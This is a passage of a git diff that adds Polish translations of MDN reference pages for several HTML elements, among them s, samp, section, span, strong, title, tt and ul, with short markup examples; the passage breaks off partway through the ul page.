@@ -0,0 +1,23 @@
+---
+title: s
+slug: Web/HTML/Element/s
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/s
+---
+<p> </p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Element <code>&lt;s&gt;...&lt;/s&gt;</code> renderuje przekreślenie tekstu na całej linii występowania tekstu, objętego znacznikami tego elementu. </p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<pre class="eval">&lt;s&gt;Specjalnie dziś: łosoś&lt;/s&gt; WYPRZEDANE
+</pre>
+<h4 id="Rezultat" name="Rezultat"> Rezultat </h4>
+<p><s>Specjalnie dziś: łosoś</s> WYPRZEDANE
+</p>
+<h3 id="Notatka" name="Notatka"> Notatka </h3>
+<p>Element ten renderuje tekst w identyczny sposób jak znacznik <a href="pl/HTML/Element/strike"><code>&lt;strike&gt;</code></a>. Żaden z nich nie jest bardziej akceptowalny niż drugi, więc można je zamieniać.
+</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><a href="pl/HTML/Element/strike">Znacznik <code>&lt;strike&gt;</code></a>
+</p><p>{{ HTML:Element_Navigation() }}
+</p>{{ languages( { "en": "en/HTML/Element/s" } ) }}
diff --git a/files/pl/web/html/element/samp/index.html b/files/pl/web/html/element/samp/index.html
new file mode 100644
index 0000000000..af7405144a
--- /dev/null
+++ b/files/pl/web/html/element/samp/index.html
@@ -0,0 +1,25 @@
+---
+title: samp
+slug: Web/HTML/Element/samp
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/samp
+---
+<p> </p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Element <code>&lt;samp&gt;...&lt;/samp&gt;</code> tworzy element liniowy wyświetlany domyślną dla przeglądarki czcionką o stałej szerokości (Lucida Console). Element jest przeznaczony do wskazywania przykładowego wyniku działania programu komputerowego.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval"> Zwykły tekst. &lt;samp&gt;To jest przykładowy tekst.&lt;/samp&gt; Zwykły tekst.
+</pre>
+<h4 id="Rezultat" name="Rezultat">Rezultat</h4>
+<p>Zwykły tekst. &lt;samp&gt;To jest przykładowy tekst.&lt;/samp&gt; Zwykły tekst.</p>
+<p>(Ten przykład nie ukazuje działania w związku w ograniczeniami w oprogramowaniu wiki, ale na na rzeczywistej stronie internetowej powinien działać dobrze.)</p>
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+<p>Reguła CSS może być definiowana dla selektora <code>samp</code>, by nadpisać domyślną czcionkę przeglądarki. Ustawienia nadane przez użytkownika mogą wziąć pierwszeństwo przed określonymi w CSS.</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+<ul>
+ <li><a href="pl/HTML/Element/code">Element HTML <code>code</code></a></li>
+ <li>Specyfikacja HTML 4.01: <a class="external" href="http://www.w3.org/TR/html4/struct/text.html#h-9.2.1">Phrase Elements</a></li>
+</ul>
+<p>{{ HTML:Element_Navigation() }}</p>
+<p>{{ languages( { "en": "en/HTML/Element/samp" } ) }}</p>
diff --git a/files/pl/web/html/element/section/index.html b/files/pl/web/html/element/section/index.html
new file mode 100644
index 0000000000..4985fba6d6
--- /dev/null
+++ b/files/pl/web/html/element/section/index.html
@@ -0,0 +1,128 @@
+---
+title: <section>
+slug: Web/HTML/Element/section
+translation_of: Web/HTML/Element/section
+---
+<p>{{HTMLRef}}</p>
+
+<p>Element <strong><code>&lt;section&gt;</code> </strong>stanowi samodzielną sekcję tworzącą dokument HTML, której nie można przedstawić za pomocą bardziej szczegółowej semantycznie sekcji. Element &lt;section&gt; zazwyczaj posiada nagłówek.</p>
+
+<p>Przykładowo, część nawigacyjna powinna być objęta elementem {{htmlelement("nav")}}, ale lista wyników wyszukiwania albo wyświetlana mapa i jej sterowanie nie mają dla siebie szczegółowego elementu, więc powinny zostać umieszczone w <code>&lt;section&gt;</code>.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Sectioning_content">Sectioning content</a>, palpable content.</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted content</th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">Tag omission</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted parents</th>
+ <td>Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>. Note that a {{HTMLElement("section")}} element must not be a descendant of an {{HTMLElement("address")}} element.</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted ARIA roles</th>
+ <td>{{ARIARole("alert")}}, {{ARIARole("alertdialog")}}, {{ARIARole("application")}}, {{ARIARole("banner")}}, {{ARIARole("complementary")}}, {{ARIARole("contentinfo")}}, {{ARIARole("dialog")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("log")}}, {{ARIARole("main")}}, {{ARIARole("marquee")}}, {{ARIARole("navigation")}}, {{ARIARole("search")}}, {{ARIARole("status")}}, {{ARIARole("tabpanel")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM interface</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p>Element zawiera tylko <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<h2 id="Użycie">Użycie</h2>
+
+<ul>
+ <li>Każdy element <code>&lt;section&gt;</code> powinien zazwyczaj zawierać nagłówek ({{HTMLElement('h1')}}-{{HTMLElement('h6')}}) jako element potomny <code>&lt;section&gt;</code>.</li>
+ <li>Jeśli jest konieczne oddzielić podgrupy w treści elementu {{HTMLElement("section")}},  używa się elementów{{HTMLElement("article")}}.</li>
+ <li>Nie używa się elementu {{HTMLElement("section")}} w celu stworzenia ogólnego kontenera; do tego służy element {{HTMLElement("div")}}, szczególnie nie robi się tego jesli ma to służyć tylko do nadania stylów. Praktyczną zasadą jest to, że wsytąpeinie elementu &lt;section&gt; powinną być logiczne w schemacie dokumentu.</li>
+</ul>
+
+<h2 id="Przykład_1">Przykład 1</h2>
+
+<h3 id="Wcześniej">Wcześniej</h3>
+
+<pre class="brush: html">&lt;div&gt;
+ &lt;h1&gt;Heading&lt;/h1&gt;
+ &lt;p&gt;Bunch of awesome content&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Teraz">Teraz</h3>
+
+<pre class="brush: html">&lt;section&gt;
+ &lt;h1&gt;Heading&lt;/h1&gt;
+ &lt;p&gt;Bunch of awesome content&lt;/p&gt;
+&lt;/section&gt;
+</pre>
+
+<h2 id="Przykład_2">Przykład 2</h2>
+
+<h3 id="Wcześniej_2">Wcześniej</h3>
+
+<pre class="brush: html">&lt;div&gt;
+ &lt;h2&gt;Heading&lt;/h2&gt;
+ &lt;img src="bird.jpg" alt="bird"&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Teraz_2">Teraz</h3>
+
+<pre class="brush: html">&lt;section&gt;
+ &lt;h2&gt;Heading&lt;/h2&gt;
+ &lt;img src="bird.jpg" alt="bird"&gt;
+&lt;/section&gt;
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comments</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+
+
+<p>{{Compat("html.elements.section")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>Inne elementy dotyczące sekcji: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li>
+ <li><a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document">Sections and outlines of an HTML5 document</a>.</li>
+</ul>
diff --git a/files/pl/web/html/element/small/index.html b/files/pl/web/html/element/small/index.html
new file mode 100644
index 0000000000..8049addbb2
--- /dev/null
+++ b/files/pl/web/html/element/small/index.html
@@ -0,0 +1,26 @@
+---
+title: small
+slug: Web/HTML/Element/small
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/small
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Element <code>&lt;small&gt;...&lt;/small&gt;</code> powoduje, że tekst normalnego rozmiaru jest wyświetlany jako mały (rozmiar czcionki). </p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<pre class="eval"> &lt;p&gt;
+
+ To jest pierwsze zdanie. &lt;small&gt;To zdanie jest napisane małymi literami.&lt;/small&gt;
+
+ &lt;/p&gt;
+</pre>
+<h4 id="Rezultat" name="Rezultat"> Rezultat </h4> <p> To jest pierwsze zdanie. <small>To zdanie jest napisane małymi literami.</small> </p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/HTML/Element/big">Znacznik <code>&lt;big&gt;</code></a>
+</li><li> <a href="pl/HTML/Element/font">Znacznik <code>&lt;font&gt;</code></a>
+</li><li> <a href="pl/HTML/Element/style">Znacznik <code>&lt;style&gt;</code></a>
+</li></ul>
+<p>{{ HTML:Element_Navigation() }}
+</p>{{ languages( { "en": "en/HTML/Element/small" } ) }}
diff --git a/files/pl/web/html/element/span/index.html b/files/pl/web/html/element/span/index.html
new file mode 100644
index 0000000000..93b455274c
--- /dev/null
+++ b/files/pl/web/html/element/span/index.html
@@ -0,0 +1,138 @@
+---
+title: <span>
+slug: Web/HTML/Element/span
+translation_of: Web/HTML/Element/span
+---
+<h2 id="Summary" name="Summary">Streszczenie</h2>
+
+<p><strong>HTML <code>&lt;span&gt;</code> element</strong>  <span lang="pl">jest podstawowym wbudowanym kontenerem dla frazowania treści, który z natury nie reprezentuje niczego. Może być używany do grupowania tekstu w celu stylizacji</span> (używa atrybutu <code>class</code> lub <code>id</code>), <span lang="pl">lub z powodu posiadania takich samych atrybutów, takich jak </span><code>lang</code>.<span lang="pl"> Powinien być używany tylko wtedy, gdy nie ma zastosowania żaden inny element semantyczny</span>. <code>&lt;span&gt;</code> <span lang="pl">jest bardzo podobny do elementu</span> <code>&lt;div&gt;</code>, lecz <code>&lt;div&gt;</code> jest <a href="/en-US/docs/HTML/Block-level_elements">elementem blokowym</a>, a <code>&lt;span&gt;</code><a href="/en-US/docs/HTML/Inline_elements"> - elementem liniowym</a>.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Kategorie treści</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">phrasing content</a>.</li>
+ <li><dfn>Dozwolone treści</dfn><a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">Phrasing content</a></li>
+ <li><dfn>Pomijanie tagów</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Dozwolone elementy narzędne</dfn>Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, or any element that accepts <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Flow_content">flow content</a>.</li>
+ <li><dfn>Interfejs DOM</dfn> {{domxref("HTMLSpanElement")}} (before HTML 5, the interface was {{domxref("HTMLElement")}}</li>
+</ul>
+
+<h2 id="Attributes" name="Attributes">Atrybuty</h2>
+
+<p><span style="line-height: 21px;">Ten element obejmuje tylko </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">globalne atrybuty</a><span style="line-height: 21px;">.</span></p>
+
+<h2 id="Example1" name="Example1">Przykład 1</h2>
+
+<pre class="brush:html;gutter:false">&lt;p&gt;&lt;span&gt;tekst&lt;/span&gt;&lt;/p&gt;</pre>
+
+<h3 id="Result1" name="Result1">Wynik</h3>
+
+<p><span>tekst</span></p>
+
+<p> </p>
+
+<h2 id="Example2" name="Example2">Przykład 2</h2>
+
+<pre class="brush:html;gutter:false">&lt;li&gt;&lt;span&gt;
+    &lt;a href="profil.html" target="_blank"&gt;Zobacz mój profil&lt;/a&gt;
+&lt;/span&gt;&lt;/li&gt;
+</pre>
+
+<h3 id="CSS" name="CSS">CSS:</h3>
+
+<div class="note">
+<p>li span {<br>
+     background: gold;<br>
+ }</p>
+</div>
+
+<h3 id="Result2" name="Result2">Wynik</h3>
+
+<ul>
+ <li><span style="background: gold;">    <a href="portfolio.html">Zobacz mój profil</a></span></li>
+</ul>
+
+<h2 id="Dane_techniczne">Dane techniczne</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-span-element', '&lt;span&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-span-element', '&lt;span&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>The DOM interface is now {{domxref("HTMLSpanElement")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#edef-SPAN', '&lt;span&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Zgodność przeglądarek</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Zobacz także</h2>
+
+<ul>
+ <li>HTML {{HTMLElement("div")}} element</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/pl/web/html/element/strong/index.html b/files/pl/web/html/element/strong/index.html
new file mode 100644
index 0000000000..ed69903ce4
--- /dev/null
+++ b/files/pl/web/html/element/strong/index.html
@@ -0,0 +1,22 @@
+---
+title: strong
+slug: Web/HTML/Element/strong
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/strong
+---
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+<p>Element <code>&lt;strong&gt;...&lt;/strong&gt;</code> daje mocny nacisk, zwykle jest on wyświetlany jako wytłuszczenie.</p> <h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+<pre class="eval"> &lt;p&gt;
+ Kiedy robi się X, jest to &lt;strong&gt;wymagane&lt;/strong&gt;, żeby najpierw zrobić Y.
+ &lt;/p&gt;
+</pre> <h3 id="Rezultat" name="Rezultat">Rezultat</h3>
+<p>Kiedy robi się X, jest to <strong>wymagane</strong>, żeby najpierw zrobić Y.</p> <h2 id="Bold_vs._Strong" name="Bold_vs._Strong">Bold vs. Strong</h2>
+<p>Jest to często trudne dla niedoświadczonych deweloperów, dlaczego jest tak dużo sposobów stworzenia tej samej rzeczy na stronie. Pogrubienie i silny nacisk jest prawdopodobnie jednym z najczęstszych. Czy należy używać <code>&lt;b&gt;&lt;/b&gt;</code> czy <code>&lt;strong&gt;&lt;/strong&gt;</code>? Czy tworzy to dokładnie ten sam wynik?</p>
+<p>Nie do końca, silny nacisk jest stanem logicznym, a wytłuszczenie jest stanem fizycznym. Stany logiczne oddzielają prezentację od zawartości, dlatego może być to wyrażone na różne sposoby, na przykład zamiast wyświetlać kawałek tekstu jako pogrubienie, możesz wyświetlić to na czerwono, w innym rozmiarze, podkreślone lub jakkolwiek inaczej. Bardziej sensownym jest zmieniać właściwości prezentacyjne znacznika <code>strong</code> niż robić to z pogrubieniem. Jest tak, ponieważ pogrubienie jest stanem fizycznym, nie ma tutaj rozdziału pomiędzy prezentacją i zawartością, zmuszanie pogrubienia do robienia czegokolwiek innego niż wytłuszczania tekstu byłoby mylące i nielogiczne.</p>
+<p>Zobacz także: <a href="/pl/HTML/Element/b" title="pl/HTML/Element/b">Znacznik &lt;b&gt;</a></p> <p>{{ HTML:Element_Navigation() }}</p>
+<p class="noinclude">{{ languages({
+"en": "en/HTML/Element/strong",
+"de": "de/HTML/Element/strong",
+"ja": "ja/HTML/Element/strong",
+}) }}</p>
diff --git a/files/pl/web/html/element/title/index.html b/files/pl/web/html/element/title/index.html
new file mode 100644
index 0000000000..2f6f35f467
--- /dev/null
+++ b/files/pl/web/html/element/title/index.html
@@ -0,0 +1,122 @@
+---
+title: '<title>: Element Tytułu Dokumentu'
+slug: Web/HTML/Element/title
+tags:
+ - Element
+ - HTML
+ - HTML metadane dokumentu
+ - 'HTML:Metadane zawartość'
+ - Nazwa Okna
+ - Nazwa Strony
+ - Nazwa Zakładki
+ - Reference
+ - Tytuł
+ - Tytuł Okna
+ - Tytuł Strony
+ - Tytuł Zakładki
+ - Web
+translation_of: Web/HTML/Element/title
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>Element tytułu HTML</strong> (<strong><code>&lt;title&gt;</code></strong>) określa tytuł dokumentu, który jest wyświetlany na pasku tytułu przeglądarki lub w zakładce strony. Zawiera on tylko tekst, a znaczniki wewnątrz elementu są ignorowane.</span></p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th>
+ <td><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Metadata_content">Zawartość metadanych</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwolona zawartość</th>
+ <td>Tekst, który nie jest przestrzenią białych znaków.</td>
+ </tr>
+ <tr>
+ <th scope="row">Pominięcie znacznika</th>
+ <td>Wymagane są zarówno znaczniki otwarcia jak i zamknięcia. Należy pamiętać, że pozostawienie <code>&lt;/title&gt;</code> powinno spowodować, że przeglądarka będzie ignorować resztę strony.</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwoleni rodzice</th>
+ <td>Element {{ HTMLElement("head") }}, który nie zawiera żadnego innego elementu {{ HTMLElement("title") }}.</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwolone role ARIA</th>
+ <td>Brak.</td>
+ </tr>
+ <tr>
+ <th scope="row">Interfejs DOM</th>
+ <td>{{domxref("HTMLTitleElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p>Ten element uwzględnia tylko <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p>
+
+<h2 id="Uwagi_dotyczące_zastosowania">Uwagi dotyczące zastosowania</h2>
+
+<p>Element <code>&lt;title&gt;</code> jest zawsze używay w bloku {{HTMLElement("head")}} strony.</p>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush: html">&lt;title&gt;Wspaniały tytuł strony&lt;/title&gt;
+</pre>
+
+<h2 id="Kwestie_dostępności">Kwestie dostępności</h2>
+
+<p>Ważne jest, aby podać wartość <code>tytułu</code>, która opisuje przeznaczenie strony. </p>
+
+<p>Powszechną techniką nawigacji dla użytkowników technologii wspomagającej jest czytanie tytułu strony i wnioskowanie, jaką treść ona zawiera. Dzieje się tak, ponieważ nawigacja po stronie w celu określenia jej zawartości może być czasochłonnym i potencjalnie mylącym procesem.</p>
+
+<h4 id="Przykład_2">Przykład</h4>
+
+<pre>&lt;title&gt;Menu - Kuchnia Chińska Blue House - FoodYum: Już dziś online!&lt;/title&gt;
+</pre>
+
+<p>Aby pomóc użytkownikowi, zaktualizuj wartość <code>tytułu</code> strony tak, aby odzwierciedlała istotne zmiany stanu strony (np. problemy z walidacją formularza).</p>
+
+<h4 id="Przykład_3">Przykład</h4>
+
+<pre>&lt;title&gt;2 błędy - Twoje zamówienie - Kuchnia Chińska Blue House - FoodYum: Już dziś online!&lt;/title&gt;
+</pre>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/pl/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_%E2%80%94_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN Zrozumienie WCAG, Wytyczna 2.4 wyjaśnienie</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-title.html">Understanding Success Criterion 2.4.2  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-title-element', '&lt;title&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-title-element', '&lt;title&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.2', '&lt;title&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("html.elements.title")}}</p>
diff --git a/files/pl/web/html/element/tt/index.html b/files/pl/web/html/element/tt/index.html
new file mode 100644
index 0000000000..7e175b1d0c
--- /dev/null
+++ b/files/pl/web/html/element/tt/index.html
@@ -0,0 +1,27 @@
+---
+title: tt
+slug: Web/HTML/Element/tt
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/tt
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Element HTML <code>&lt;tt&gt;...&lt;/tt&gt;</code> tworzy element liniowy wyświetlany domyślną dla przeglądarki czcionką o stałej szerokości (Lucida Console). Ten element jest przeznaczony do stylizacji tekstu jakby był pokazywany na wyświetlaczu o stałej szerokości znaków, takim jak dalekopis. Prawdopodobnie do wyświetlania stałej szerokości znaków bardziej powszechne jest używanie elementu <code>&lt;code&gt;</code>.
+</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<pre class="eval"> &lt;p&gt;Wpisz poniższy tekst w linii poleceń telnet: &lt;kbd&gt;set localecho&lt;/kbd&gt;&lt;br /&gt;
+ Klient telnet powinien wyświetlić: &lt;tt&gt;Local Echo is on&lt;/tt&gt;&lt;/p&gt;
+</pre>
+<h4 id="Rezultat" name="Rezultat"> Rezultat </h4> <p>Wpisz poniższy tekst w linii poleceń telnet: <kbd>set localecho</kbd><br> Klient telnet powinien wyświetlić: &lt;tt&gt;Local Echo is on&lt;/tt&gt;</p>
+<h3 id="Notatki" name="Notatki"> Notatki </h3>
+<p>Reguły CSS mogą być definiowane dla selektora <code>tt</code>, aby nadpisać domyślną czcionkę przeglądarki. Ustawienia nadane przez użytkownika mogą wziąć pierwszeństwo przed określonymi w CSS.
+</p><p>Chociaż element nie był wycofany w specyfikacji HTML 4.01, zaleca się rezygnację z jego używania na rzecz arkuszy stylów.
+</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/HTML/Element/code">Znacznik <code>code</code></a>
+</li><li> Specyfikacja HTML 4.01: <a class="external" href="http://www.w3.org/TR/html4/present/graphics.html#h-15.2">Font Styles</a>
+</li></ul>
+<p>{{ HTML:Element_Navigation() }}
+</p>{{ languages( { "en": "en/HTML/Element/tt" } ) }}
diff --git a/files/pl/web/html/element/ul/index.html b/files/pl/web/html/element/ul/index.html
new file mode 100644
index 0000000000..8710984266
--- /dev/null
+++ b/files/pl/web/html/element/ul/index.html
@@ -0,0 +1,103 @@
+---
+title: ul
+slug: Web/HTML/Element/ul
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/ul
+---
+<p> </p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Element <code>&lt;ul&gt;</code> (Unordered list) jest używany do wskazania listy nieuporządkowanej, mianowicie zestawu punktów, które nie mają porządku liczbowego i ich kolejność w liście nie ma znaczenia. Poszczególne punkty w liście są definiowane poprzez element <a href="pl/HTML/Element/li">pozycja listy</a> (<a href="pl/HTML/Element/li">&lt;li&gt;</a>), który jest jedynym dopuszczalnym elementem w znaczniku <code>&lt;ul&gt;</code>.</p>
+<ul>
+ <li>Typ elementu: <a href="pl/HTML/Elementy_blokowe">blokowy</a></li>
+ <li>Dozwolona zawartość: <a href="pl/HTML/Element/li">li</a></li>
+</ul>
+<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3>
+<dl>
+ <dt>
+ type {{ Deprecated_inline() }}</dt>
+ <dd>
+ Używany do ustawienia typu znaku wypunktowania dla listy. Wartościami zdefiniowanymi w <a href="pl/HTML3.2">HTML3.2</a> i wersji <a href="pl/HTML4.01">HTML 4.0/4.01</a> Transitional są <code>circle</code>, <code>disc</code> oraz <code>square</code>. Program użytkownika może zdecydować o wyborze innego wypunktowania, zależnie od poziomu zagnieżdżenia listy, chyba że jest użyty atrybut <code>type</code>. Interfejs WebTV wspiera również wypunktowanie <code>triangle</code>. Ten atrybut jest wycofywany, użyj zamiast niego własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/list-style-type">list-style-type</a>.</dd>
+</dl>
+<dl>
+ <dt>
+ compact {{ Deprecated_inline() }}</dt>
+ <dd>
+ Określa, że lista powinna być wyświetlona w zwartej formie. Interpretacja tego atrybutu zależy od programu użytkownika.</dd>
+</dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<h4 id="Prosty_przyk.C5.82ad" name="Prosty_przyk.C5.82ad">Prosty przykład</h4>
+<pre> &lt;ul&gt;
+ &lt;li&gt;pierwsza pozycja&lt;/li&gt;
+ &lt;li&gt;druga pozycja&lt;/li&gt;
+ &lt;li&gt;trzecia pozycja&lt;/li&gt;
+ &lt;/ul&gt;
+</pre>
+<p>Powyższy HTML daje w efekcie:</p>
+<ul>
+ <li>pierwsza pozycja</li>
+ <li>druga pozycja</li>
+ <li>trzecia pozycja</li>
+</ul>
+<h4 id="Zagnie.C5.BCd.C5.BCona_lista" name="Zagnie.C5.BCd.C5.BCona_lista">Zagnieżdżona lista</h4>
+<pre> &lt;ul&gt;
